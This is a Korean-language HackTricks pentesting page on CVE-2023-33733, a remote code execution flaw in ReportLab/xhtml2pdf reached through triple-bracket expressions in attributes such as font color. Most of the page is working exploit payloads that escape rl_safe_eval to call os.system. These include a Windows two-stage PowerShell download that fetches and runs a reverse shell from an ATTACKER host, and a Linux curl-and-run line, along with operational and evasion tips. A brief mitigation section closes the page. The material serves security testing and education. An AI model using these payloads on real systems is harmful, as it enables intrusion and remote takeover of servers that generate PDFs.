hacktricks/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md

80 lines
7.1 KiB
Markdown

# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
이 페이지는 xhtml2pdf 및 기타 PDF 생성 파이프라인이 사용자 제어 HTML을 PDF로 렌더링할 때 사용하는 ReportLab의 rl_safe_eval에서 실제로 동작하는 샌드박스 탈출 및 RCE 원시(primitive)를 문서화한다.
CVE-2023-33733은 ReportLab 3.6.12 이하 버전에 영향을 미친다. 특정 속성 문맥(예: color)에서 triple brackets [[[ ... ]]]로 감싼 값은 rl_safe_eval에 의해 서버 측에서 평가된다. 화이트리스트에 있는 builtin 함수(pow)에서 해당 함수의 __globals__로 피봇하는 페이로드를 만들면 공격자는 os 모듈에 도달하여 명령을 실행할 수 있다.
핵심 요점
- Trigger: ReportLab/xhtml2pdf로 파싱되는 마크업 내의 <font color="...">와 같은 평가되는 속성에 [[[ ... ]]]를 주입.
- Sandbox: rl_safe_eval은 위험한 builtin을 제거하거나 대체하지만, 평가된 함수들은 여전히 __globals__를 노출.
- Bypass: rl_safe_eval의 이름 검사와 차단된 dunder 필터링을 우회하기 위해 transient 클래스 Word를 제작하여 문자열 "__globals__"에 접근.
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Stability: 실행 후 속성에 대해 유효한 값을 반환하도록 함(예: color의 경우 and 'red' 사용).
언제 테스트할지
- HTML-to-PDF 내보내기 기능을 제공하는 애플리케이션(프로필, 인보이스, 리포트 등)에서 xhtml2pdf/ReportLab이 PDF 메타데이터 또는 HTTP 응답 코멘트에 표시되는 경우.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- PDF에 대한 HTTP 응답은 종종 ReportLab 생성기 코멘트로 시작함
샌드박스 우회 작동 원리
- rl_safe_eval은 많은 builtin(getattr, type, pow, ...)을 제거하거나 대체하고, __로 시작하거나 denylist에 있는 이름을 거부하도록 이름 필터링을 적용한다.
- 그러나 안전한 함수들은 func.__globals__로 접근 가능한 globals 사전 안에 존재한다.
- type(type(1))을 사용해 실제 builtin type 함수를 복구(ReportLab의 래퍼 우회)한 다음, 비교 동작이 변형된 str에서 파생된 Word 클래스를 정의하여:
- .startswith('__') → 항상 False (startswith('__') 검사 우회)
- .__eq__는 첫 비교에서만 False를 반환하고 이후에는 True 반환(denylist 멤버십 검사 우회, 이후 Python getattr 동작 가능)
- .__hash__는 hash(str(self))와 동일
- 이로써 getattr(pow, Word('__globals__'))는 래핑된 pow 함수의 globals dict를 반환하며, 여기에는 임포트된 os 모듈이 포함된다. 이후: ['os'].system('<cmd>').
최소한의 익스플로잇 패턴(속성 예시)
평가되는 속성 내부에 페이로드를 넣고 boolean 및 'red'를 통해 유효한 속성 값을 반환하도록 보장.
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
- 리스트 컴프리헨션 형태는 rl_safe_eval에 허용되는 단일 표현식을 가능하게 함.
- 후행의 and 'red'는 유효한 CSS 색을 반환하여 렌더링이 깨지지 않도록 함.
- 명령은 필요에 따라 교체; 실행 확인을 위해 tcpdump로 ping 사용.
운영 워크플로우
1) PDF 생성기 식별
- PDF Producer에 xhtml2pdf가 표시; HTTP 응답에 ReportLab 코멘트가 포함됨.
2) PDF로 반영되는 입력 찾기(예: profile bio/description) 및 내보내기 트리거.
3) 저소음 ICMP로 실행 확인
- Run: sudo tcpdump -ni <iface> icmp
- Payload: ... system('ping <your_ip>') ...
- Windows는 기본적으로 정확히 네 개의 echo 요청을 보내는 경우가 많음.
4) 셸 확보
- Windows의 경우 인용/인코딩 문제를 피하기 위해 신뢰할 수 있는 두 단계 접근법 권장:
- Stage 1 (다운로드):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Stage 2 (실행):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Linux 대상의 경우 curl/wget을 이용한 유사한 두 단계 방식도 가능:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
노트 및 팁
- 속성 문맥: color는 평가되는 알려진 속성; ReportLab 마크업의 다른 속성들도 표현식을 평가할 수 있음. 한 위치가 필터링되는 경우 PDF 흐름으로 렌더링되는 다른 위치(다른 필드, 테이블 스타일 등)를 시도해보라.
- 인용 문제: 명령은 간결하게 유지. 두 단계 다운로드는 인용 및 이스케이프 문제를 크게 줄임.
- 신뢰성: 내보내기가 캐시되거나 큐에 들어가는 경우, 캐시를 피하기 위해 페이로드를 약간 변경(예: 무작위 경로나 쿼리 추가)하라.
완화 및 탐지
- ReportLab을 3.6.13 이상으로 업그레이드(해결된 CVE-2023-33733). 배포판 패키지의 보안 공지도 추적.
- 사용자 제어 HTML/마크업을 신뢰되지 않는 상태로 xhtml2pdf/ReportLab에 직접 제공하지 말 것. 입력이 신뢰할 수 없을 때는 [[[...]]] 평가 구성과 벤더 특정 태그를 제거/거부.
- 신뢰되지 않는 입력에 대해 rl_safe_eval 사용을 비활성화하거나 래핑하는 방안을 고려.
- PDF 생성 중에 의심스러운 아웃바운드 연결(예: 문서 내보내기 중 앱 서버에서의 ICMP/HTTP)을 모니터링.
References
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}